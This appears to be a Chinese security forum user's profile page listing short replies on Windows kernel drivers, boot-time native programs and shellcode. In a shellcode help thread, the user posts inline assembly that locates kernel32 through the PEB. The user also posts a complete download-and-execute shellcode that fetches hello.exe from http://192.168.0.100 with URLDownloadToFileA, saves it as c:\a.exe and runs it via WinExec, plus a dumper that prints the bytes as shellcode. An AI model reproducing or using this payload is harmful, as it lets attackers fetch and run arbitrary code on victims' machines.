|
[求助]怎样控制native程序的启动顺序,就像瑞星那样 在登陆界面出现之前才运行
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager下的BootExecute |
|
[求助]怎样控制native程序的启动顺序,就像瑞星那样 在登陆界面出现之前才运行
在注册表里找autochk… |
|
Hook过滤架构搭建,仿照360
不错。。。。 |
|
[原创]注册表文件解析完整解决方案
这个必须支持~ |
|
[求助]驱动间通讯
当然可以…… |
|
[求助]驱动间通讯
设备启动、停止、状态变化都会有相应的IRP产生,这时向NT式驱动发送相应的ControlCode处理吧 |
|
[公告]欢迎 竹君任『安全编程论坛』 实习版主
不错,支持下~~ |
|
[求助]修改内核数据时的问题
玩驱动不知道调试,蓝屏不知道dump,无语…… |
|
[求助]修改内核数据时的问题
老说蓝蓝蓝,分析dump啊…… |
|
[求助]修改内核数据时的问题
Calls to MmProbeAndLockPages must be enclosed in a try/except block. If the pages do not support the specified operation, the routine raises the STATUS_ACCESS_VIOLATION exception. For more information, see Handling Exceptions. |
|
[讨论]内核映射win32k.sys的疑惑
因为win32k在SessionSpace中,所以不要用Map了,Read吧~~ |
|
[请勿新开主题!甲壳相关主题合并帖]
其实我是来膜拜楼主的。。。 |
|
[求助]shellcode 問題?
你难道不会调试吗?会调试的话其实很好办… |
|
[求助]shellcode 問題?
确实不对。。。他虽然是把代码和数据混合在一起的, 但是前面代码的流程决定了那部分数据不会当成指令来执行。。。这要看他的代码怎么写~~ |
|
[求助]shellcode 問題?
我也贴一个我以前写的: DWORD Kernel32Base; DWORD AddrLoadLibrary; //从PEB取Kernel32.dll基址 _asm { mov eax,fs:[0x30] mov eax,[eax+0xC] mov eax,[eax+0x1C] mov eax,[eax] mov eax,[eax+0x08] mov Kernel32Base,eax } //获取用到的各个API的地址 _asm { //以下所有用到的字符串都是在栈中直接构造,避免全局变量的出现,不需要重定位 //0x4C6F6164 4C696272 61727941,LoadLibraryA //取LoadLibraryA地址 //myGetProcAddress(Kernel32Base,"LoadLibraryA") push 0//作为字符串的结束标记 push 0x41797261//"Ayra" push 0x7262694C//"rbiL" push 0x64616F4C//"daoL" push esp push Kernel32Base call myGetProcAddress mov AddrLoadLibrary,eax add esp,0x10//恢复堆栈 } |
|
[求助]shellcode 問題?
恩恩,不知楼主来自哪里? |
|
[求助]shellcode 問題?
用sizeof肯定是不行的,有\0就截断了。 你可以直接指定shellcodelen为一个比较大的数,比如200就OK了,很直接很好用。 或者用前后做标记的方法来计算长度,但是不一定准确,记得一定要用Release方式编译才可以。 而且,你的shellcode函数必须指定为naked函数才行,否则前后会有很多编译器添加的代码,根本不是你想要的样子。 #include <windows.h> #include <stdio.h> #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 \ __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 #define PROC_END PROC_BEGIN __declspec( naked ) void START() { _asm nop } __declspec( naked ) void shellcode(){ __asm { PROC_BEGIN /* PUSH MB_OK OR MB_ICONINFORMATION*/ call abc _emit 'H' _emit 'e' _emit 'l' _emit 'l' _emit 'o' _emit 0 abc: call efg _emit 'H' _emit 'e' _emit 'l' _emit 'l' _emit 'o' _emit 0 efg: push 0 call DWORD PTR [MessageBox] /**/ //LoadLibrary call A _emit 'u' _emit 'r' _emit 'l' _emit 'm' _emit 'o' _emit 'n' _emit '.' _emit 'd' _emit 'l' _emit 'l' _emit 0 A: call DWORD PTR [LoadLibrary] //GetProcAddress call B _emit 'U' _emit 'R' _emit 'L' _emit 'D' _emit 'o' _emit 'w' _emit 'n' _emit 'l' _emit 'o' _emit 'a' _emit 'd' _emit 'T' _emit 'o' _emit 'F' _emit 'i' _emit 'l' _emit 'e' _emit 'A' _emit 0 B: push eax call DWORD PTR [GetProcAddress] //URLDownloadTofile push 0 push 0 call c _emit 'c' _emit ':' _emit '\\' _emit 'a' _emit '.' _emit 'e' _emit 'x' _emit 'e' _emit 0 c: call D _emit 'h' _emit 't' _emit 't' _emit 'p' _emit ':' _emit '/' _emit '/' _emit '1' _emit '9' _emit '2' _emit '.' _emit '1' _emit '6' _emit '8' _emit '.' _emit '0' _emit '.' _emit '1' _emit '0' _emit '0' _emit '/' _emit 'h' _emit 'e' _emit 'l' _emit 'l' _emit 'o' _emit '.' _emit 'e' _emit 'x' _emit 'e' _emit 0 D: push 0 call eax // WinExec push 0 call E _emit 'c' _emit ':' _emit '\\' _emit 'a' _emit '.' _emit 'e' _emit 'x' _emit 'e' _emit 0 E: call DWORD PTR [WinExec] PROC_END } } __declspec( naked ) void END() { _asm nop } int main(void) { int i; BYTE *p=(BYTE*)shellcode; int len=(BYTE*)END-(BYTE*)START; printf("len=%d\n",len); for (i=0 ; i<len ; i++) printf("\\x%02X", p[i]); printf("\n"); system("pause"); } |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值